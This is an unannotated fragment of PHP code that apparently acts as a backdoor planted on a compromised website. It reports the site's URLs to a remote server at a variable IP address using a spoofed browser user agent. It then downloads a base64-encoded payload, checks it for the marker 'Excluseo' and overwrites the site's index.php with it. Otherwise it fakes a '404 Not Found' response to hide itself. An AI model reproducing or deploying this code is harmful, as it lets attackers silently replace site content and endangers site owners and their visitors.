1)) { $http_url = explode('/', $http_url); $p = (count($http_url)-1); if (IsSet($http_url[$p]) && ($p != 0)) $http_url[$p] = null; $http_url = implode('/', $http_url); if (substr($http_url, -1, 1) == '/') $http_url = substr($http_url, 0, (strlen($http_url)-1)); $all_http .= $http_url; } $adres = 'http://'.$ip.'/preselle/update.php?&a='.$all_http; $dane = null; if (function_exists("curl_init")) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $adres); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); curl_setopt($curl, CURLOPT_REFERER, $adres); curl_setopt($curl, CURLOPT_FAILONERROR, false); curl_setopt($curl, CURLOPT_ENCODING, 'gzip'); curl_setopt($curl, CURLOPT_ENCODING, 'deflate'); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_TIMEOUT, 10); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_NOBODY, false); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10); $dane = curl_exec($curl); $info = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); if ($info != '200') $dane = null; } if (!function_exists('file_get_contents')) { function file_get_contents($url) { $handle = fopen($url, 'r'); if (!$handle) return false; $string = fread($handle, 3000000); fclose($handle); return $string; } } if (strlen($dane) < 100) { $dane = file_get_contents($adres); } if (strlen($dane) > 300) { $dane = base64_decode($dane); if (stristr($dane, 'Excluseo')) { if (!$fp = fopen('index.php', "w+")) exit('false_1'); if (!flock($fp, 2)) exit('false_2'); if (!fwrite($fp, $dane)) exit('false_3'); if (!flock($fp, 3)) exit('false_4'); if (!fclose($fp)) exit('false_5'); exit('true'); } else exit('false_7'); } else exit('false_6'); } header("HTTP/1.0 404 Not Found"); exit(); ?>